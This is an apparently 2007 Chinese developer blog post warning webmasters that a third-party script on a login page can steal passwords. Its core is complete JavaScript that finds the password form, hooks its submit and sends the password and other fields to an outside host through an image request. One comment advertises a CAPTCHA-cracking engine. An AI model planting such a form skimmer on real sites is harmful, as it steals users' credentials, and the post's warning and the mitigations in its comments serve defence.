推荐.NET教程:
ASP.NET
C#
开发环境
Ajax教程
控件开发
统计报表
数据库
Web服务
安装部署
CommunityServer
NHibernate
DataGrid/GridView
实用代码
VS2005
示例源码
MVC/三层
SqlHelper
入门源码
开源
CMS
Ajax/Atlas
C#.net
毕业设计
源码
经典代码
商业
本站作品
持久层
随书源码
WebService
英文/汉化
Asp.net2.0
阿牛·乐园
每天进步一点点
博客园
::
首页
::
新随笔
::
联系
::
订阅
::
管理
::
80 随笔 :: 14 文章 :: 389 评论 :: 13 引用
千万不要在登录页面引入别站的脚本
如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但我强烈建议您不要把这个脚本引入到登陆页面。
因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
其实,这两个问题,都很简单。
第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
var
up
=
new
Image(); up.src
=
http:
//
xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
很简单吧!!我们来看下示例核心代码:
function
_bho_DataPost(form)
{
var
userInfoArray
=
[];
for
(
var
name
in
form)
{
userInfoArray.push(name
+
'
=
'
+
escape(form[name]));
}
var
userInfo
=
userInfoArray.join('
&
');
try
{
//
提交数据(这里有密码的哟)
var
send
=
new
Image();
send.src
=
"
[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?
"
+
userInfo;
}
catch
(e)
{}
}
/**/
/*
功能:得到登陆FORM,如果没有找到,则返回 null
*/
function
_bho_getLoginForm()
{
var
forms
=
document.forms;
for
(
var
f
=
0
; f
<
forms.length;
++
f)
{
var
form
=
forms[f];
var
inputs
=
form.getElementsByTagName(
"
INPUT
"
);
for
(
var
i
=
0
; i
<
inputs.length;
++
i)
{
if
(inputs[i].type.toLowerCase()
==
"
password
"
)
{
return
form;
}
}
}
return
null
;
}
/**/
/*
功能:注册事件,HOOK form.submit
*/
function
_bho_initEvent()
{
var
form
=
_bho_getLoginForm();
if
(form
!=
null
)
{
//
重写 form 的submit,来拦截密码
form.__submit_
=
form.submit;
form.submit
=
function
()
{
_bho_SendPwd();
//
如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
_bho_SendPwd
=
function
()
{}
return
form.__submit_();
}
//
注册事件来监听密码提交
form.attachEvent(
"
onsubmit
"
,_bho_SendPwd);
}
}
/**/
/*
功能:把将要提交的FORM里面的所有数据提交
*/
function
_bho_SendPwd(e)
{
var
form
=
_bho_getLoginForm();
var
pwd
=
'';
var
otherInfoArray
=
[];
var
inputs
=
form.getElementsByTagName(
"
INPUT
"
);
for
(
var
i
=
0
; i
<
inputs.length;
++
i)
{
if
(inputs[i].type.toLowerCase()
==
"
password
"
)
{
pwd
=
inputs[i].value;
}
else
{
if
(inputs[i].type.toLowerCase()
==
'text')
{
//
为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
if
(inputs[i].name
&&
inputs[i].name
!=
''
&&
inputs[i].value.length
<
100
)
{
otherInfoArray.push(inputs[i].name
+
'
=
'
+
inputs[i].value);
}
}
}
}
var
form
=
[];
form['url']
=
window.location.href;
form['pwd']
=
pwd;
form['otherInfo']
=
otherInfoArray.join('
&
');
_bho_DataPost(form);
//
alert('发送完成');
}
//
初始化事件
_bho_initEvent();
如果以上脚本在你的站上执行,唉。。。。。。
(改了错别字:-( )
posted on 2007-04-21 23:16
阿牛
阅读(2831)
评论(13)
编辑
收藏
网摘
所属分类:
ASP.net
、
DHTML,JS
评论
#1楼
2007-04-21 23:56
萧寒
不错;
回复
引用
查看
#2楼
2007-04-22 01:06
Cat Chen
通常只用信得过的第三方脚本,例如Google Analytics。
回复
引用
查看
#3楼
2007-04-22 01:06
s3 [未注册用户]
javascript的功能逐渐变大了,差不多页面完全javascript来写。
好象大家别不关心javascript的安全性.
回复
引用
#4楼
2007-04-22 07:00
alang [未注册用户]
标题有错别字。
回复
引用
#5楼
2007-04-22 10:42
aspnetx
标题错别字,呵呵
但楼主的提醒确实给大家多少敲响了警钟
回复
引用
查看
#6楼
2007-04-22 12:10
阿毅 [未注册用户]
其实何止是登录页面不应该引入,最好是在不能完全信任的情况下都不要引入,除了要对被引入方的RP考查外,还要考虑对方的安全保障力量,否则一旦其被黑客入侵控制,你一样会被收入网中。
完全做到这点挺难的。
但目前至少应该做到网站管理人员浏览时所有页面都没有其它网站的脚本,防止会话挟持。
另外一条建议是,对于必须引入的外部脚本(比如网站统计类的脚本),可以尝试放到不同域的 iframe 里,只要该 iframe 的 src url 能反映其父页就行,并不会影响统计的准确性。
回复
引用
#7楼
[
楼主
]
2007-04-22 19:35
阿牛
@阿毅
说得有道理。
“放到不同域的 iframe 里”办法真的不错
回复
引用
查看
#8楼
2007-04-22 23:56
Anders Liu [未注册用户]
阿牛的醒提得好!
顺便,错别字是什么?
“登陆”么?“登录”?
没事,我们火星人都用登陆地球的~ :)
回复
引用
#9楼
2007-04-23 09:25
Wisdom-zh
从来不用第三方脚本, 还真没意识到这个问题.
回复
引用
查看
#10楼
2007-04-23 12:38
webreport [未注册用户]
学习!! (.net报表工具,web报表,报表设计器,.net报表,web打印,excel,报表开发,报表控件,支持动态列的纯.net写的web报表开发工具在:
http://www.fcsoft.com.cn/webreport.htm
)
回复
引用
#11楼
2007-04-23 12:56
yi
还有一点登录页面一定不要做成无刷新的
如果做成无刷新的也要使用post请求,不要使用get请求
回复
引用
查看
#12楼
2007-04-23 20:51
cn7ero [未注册用户]
在iframe里的脚本一样可以通过 parent 属性来得到父页的。
按照楼主的说法,应该在自己的站点上完全不放别人的东西。
不知道flash等技术有没有这样的能力。
回复
引用
#13楼
2008-04-08 06:04
蓝奇高级验证码识别引擎QQ:631753663 [未注册用户]
出售蓝奇高级验证码识别引擎,可准确识别新浪动网淘宝CSDN等多种复杂验证码。
输出为一个标准DLL,可供VB,VC,Delphi,C#.NET,VB.NET,模拟精灵,按键精灵等多平台调用,调用方法简单,几行代码即可完成。独具特色的边缘检测字符分离、旋转倾斜纠正和通用字符匹配算法(无论字体和大小), 使得该引擎对于像新浪、动网、淘宝、CSDN等多种验证码均有不错的识别率,是一款效果较为理想的验证码识别引擎。附详细的调用实例和代码注释等相关技术文档。
官方网站 -
http://***/yzm_advocr
识别效果怎么样一试就知道 - DEMO下载
http://***/yzm_advocr
/advocr.rar
回复
引用
新用户注册
刷新评论列表
标题
姓名
主页
Email
(博主才能看到)
验证码
*
看不清,换一张
[
登录
][
注册
]
内容(请不要发表任何与政治相关的内容)
网站首页
新闻频道
社区
小组
博问
网摘
人才
找找看
Remember Me?
登录
使用高级评论
新用户注册
返回页首
恢复上次提交
[使用Ctrl+Enter键可以直接提交]
该文被作者在 2007-04-23 09:29 编辑过
Google站内搜索
China-pub 计算机图书网上专卖店!6.5万品种 2-8折!
近千种 9-95 新二手计算图书火热销售中!
开发者征途系统新作:《设计模式——基于C#的工程化实现及扩展》
相关文章:
相关链接:
历史上的今天:
2006-04-21
利用ADODB.Stream实现 Bytes到String的指定编码的转换
2006-04-21
[原创]用XMLHttp BinaryWrite,Post GB2312编码的字串
所属分类的其他文章:
HqlBuilder之二(使用AspNetPager分页控件)
遭遇:TargetException: 对象与目标类型不匹配。
让全站的页面不能前进和后退
Ajax.net实现的动态输入项
HqlBuilder
CSS布局-有头有尾左中右三分
ValueCheckBox
第一个asp.net的workflow例子
发现移动太NB了,验证码图像路径直接包含验证码
用控件的方式解决问题-在客户端关联WEB控件引用
最新IT新闻:
Google操作系统已开始内部测试?
Google阅读器界面升级 全新改版
微软官方下载:Windows Vista SP2 Beta测试版
微软发布PC Live单机游戏客户端
Firefox遭“独家”恶意软件攻击
<
2008年4月
>
日
一
二
三
四
五
六
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
6
7
8
9
10
与我联系
发短消息
搜索
常用链接
我的随笔
我的空间
我的短信
我的评论
更多链接
我的参与
我的新闻
最新评论
我的标签
留言簿
(5)
给我留言
查看留言
我参与的团队
O/R Mapping团队(0/213)
我的标签
NHibernate IQuery Builder 生成
(1)
CSS DIV Header Footer Body Jquery
(1)
随笔分类
(116)
ASP.net(29)
(rss)
BAT(1)
(rss)
C#(26)
(rss)
C++(10)
(rss)
DHTML,JS(21)
(rss)
Java(3)
(rss)
TSQL(6)
(rss)
工作流(1)
(rss)
其它语言(6)
(rss)
生活(13)
(rss)
随笔档案
(80)
2008年12月 (3)
2008年11月 (5)
2008年10月 (1)
2008年5月 (1)
2008年3月 (1)
2007年12月 (2)
2007年11月 (2)
2007年9月 (1)
2007年8月 (5)
2007年7月 (9)
2007年6月 (6)
2007年5月 (5)
2007年4月 (5)
2007年3月 (8)
2006年11月 (2)
2006年9月 (1)
2006年8月 (4)
2006年7月 (4)
2006年6月 (2)
2006年5月 (2)
2006年4月 (7)
2006年3月 (2)
2005年11月 (2)
文章分类
(25)
ASP(2)
(rss)
ASP.NET(2)
(rss)
C#(3)
(rss)
CSS(1)
(rss)
DHTML,JS(7)
(rss)
MSSql(4)
(rss)
VC/C++(1)
(rss)
收藏(5)
(rss)
文章档案
(14)
2007年7月 (1)
2006年11月 (1)
2006年9月 (3)
2006年5月 (1)
2006年3月 (2)
2005年11月 (6)
收藏夹
(32)
C#(10)
(rss)
Database(2)
(rss)
javascript(3)
(rss)
Log4Net(3)
(rss)
Remoting(3)
(rss)
报表
(rss)
创业(4)
(rss)
工作流(4)
(rss)
网页(3)
(rss)
友情链接
asp.net源码下载站
很不错的asp.net源码下载站
DotNet新闻及文章中心
很不错的DotNet新闻及文章中心
Scott Guthrie's Blog on ASP.NET and .NET
Scott Guthrie's Blog on ASP.NET and .NET
scottgu
(rss)
宝玉的blog
(rss)
专注于web开发技术
创造机会的人是勇者;等待机会的人是愚者
EPZUZU.COM-创造机会的人是勇者;等待机会的人是愚者
海东的技术资料
(rss)
鸟食轩
(rss)
软件测试
(rss)
软件测试领域的交流平台
㊣点滴伊飏
(rss)
㊣点滴伊飏
紫雨轩
(rss)
破文
最新随笔
1. HqlBuilder之二(使用AspNetPager分页控件)
2. 遭遇:TargetException: 对象与目标类型不匹配。
3. 让全站的页面不能前进和后退
4. Ajax.net实现的动态输入项
5. 转:RBAC的解释
6. HqlBuilder
7. CSS布局-有头有尾左中右三分
8. ValueCheckBox
9. 我的求职简历
10. 在Excel中检验身份证号
积分与排名
积分 - 94683
排名 - 462
最新评论
1. re: VS2005打开项目无响应,和CSC.exe进程有关?
@shafo1
我换成VS2008了,哈哈
--阿牛
2. re: VS2005打开项目无响应,和CSC.exe进程有关?
这个问题最终怎么解决的,我遇到同样的问题了
--shafo1
3. re: HqlBuilder
我觉得不如直接用Criteria查询.
--Karron Qiu
4. re: 我的求职简历
努力向楼主看起
--上不了岸的鱼{ttzhang}
5. re: 第一个asp.net的workflow例子
好东西
--tujiang
阅读排行榜
1. 验证码的思考,你的验证码安全吗?(4285)
2. 图片服务器上图片的管理网站上传与前台显示(3936)
3. 移动的验证码安全问题告诉移动网站后......,1860意指一般人不会这样做.(3743)
4. 超级简单的Region对比识别验证码(3129)
5. [原创]利用HttpModuler实现WEB程序同一时间只让一个用户实例登陆(修改)(3066)
评论排行榜
1. 验证码的思考,你的验证码安全吗?(42)
2. 今天是公历6.19,我女儿的第一个生日,也是全国人民的大节日,端午节快乐(40)
3. 移动的验证码安全问题告诉移动网站后......,1860意指一般人不会这样做.(29)
4. 用控件的方式解决问题-在客户端关联WEB控件引用(28)
5. 发现移动太NB了,验证码图像路径直接包含验证码(25)
60天内阅读排行
1. HqlBuilder之二(使用AspNetPager分页控件)(1171)
2. 遭遇:TargetException: 对象与目标类型不匹配。(956)
3. 我的求职简历(485)
4. HqlBuilder(476)
5. Ajax.net实现的动态输入项(154)